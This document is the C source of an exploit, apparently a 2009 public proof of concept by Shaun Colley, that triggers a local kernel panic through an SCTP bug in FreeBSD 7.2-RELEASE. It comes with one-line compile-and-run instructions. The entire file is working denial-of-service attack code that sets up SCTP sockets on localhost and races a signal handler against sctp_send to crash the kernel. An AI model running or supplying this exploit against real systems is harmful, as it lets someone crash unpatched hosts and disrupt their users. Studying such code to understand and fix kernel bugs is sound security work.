|
/* fbsd-sctp-panic.c * * freebsd 7.2-RELEASE SCTP local kernel DoS (kern panic) * only tested on 7.2-RELEASE, probably older and newer builds are vuln. as well * based on an unfixed bug found here: <http://www.freebsd.org/cgi/query-pr.cgi?pr=136803> * * by Shaun Colley <shaun@rsc.cx>, Wed 05 Aug 2009 * * $ gcc fbsd-sctp-panic.c -o fbsd-sctp-panic && ./fbsd-sctp-panic * wait a few seconds.. * * - shaun */
#include <stdio.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <arpa/inet.h> #include <unistd.h> #include <netdb.h> #include <string.h> #include <signal.h> #include <sys/time.h> #include <fcntl.h>
int csock, sock, lsock;
void *accept_connection() { struct sockaddr_in sin; socklen_t size = sizeof(sin);
sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl(0x7f000001); sin.sin_port = htons(1337);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); bind(sock, (struct sockaddr *)&sin, sizeof(sin)); listen(sock, 1); lsock = accept(sock, (struct sockaddr *)&sin, &size); }
void recvdata() { int flag; struct sctp_sndrcvinfo recvinfo; char buf[10]; sctp_recvmsg(csock, buf, sizeof(buf), NULL, 0, &recvinfo, &flag); }
void make_connection() { struct sockaddr_in consin; struct sctp_sndrcvinfo sinfo;
csock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); consin.sin_family = AF_INET; consin.sin_addr.s_addr = htonl(0x7f000001); consin.sin_port = htons(1337);
connect(csock, (struct sockaddr *)&consin, sizeof(consin)); signal(SIGALRM, recvdata); sinfo.sinfo_stream = 1337; sctp_send(lsock, "pwned", sizeof("pwned"), &sinfo, 0); }
int main() {
alarm(2); signal(SIGALRM, make_connection); accept_connection();
return 0; }
|
|
|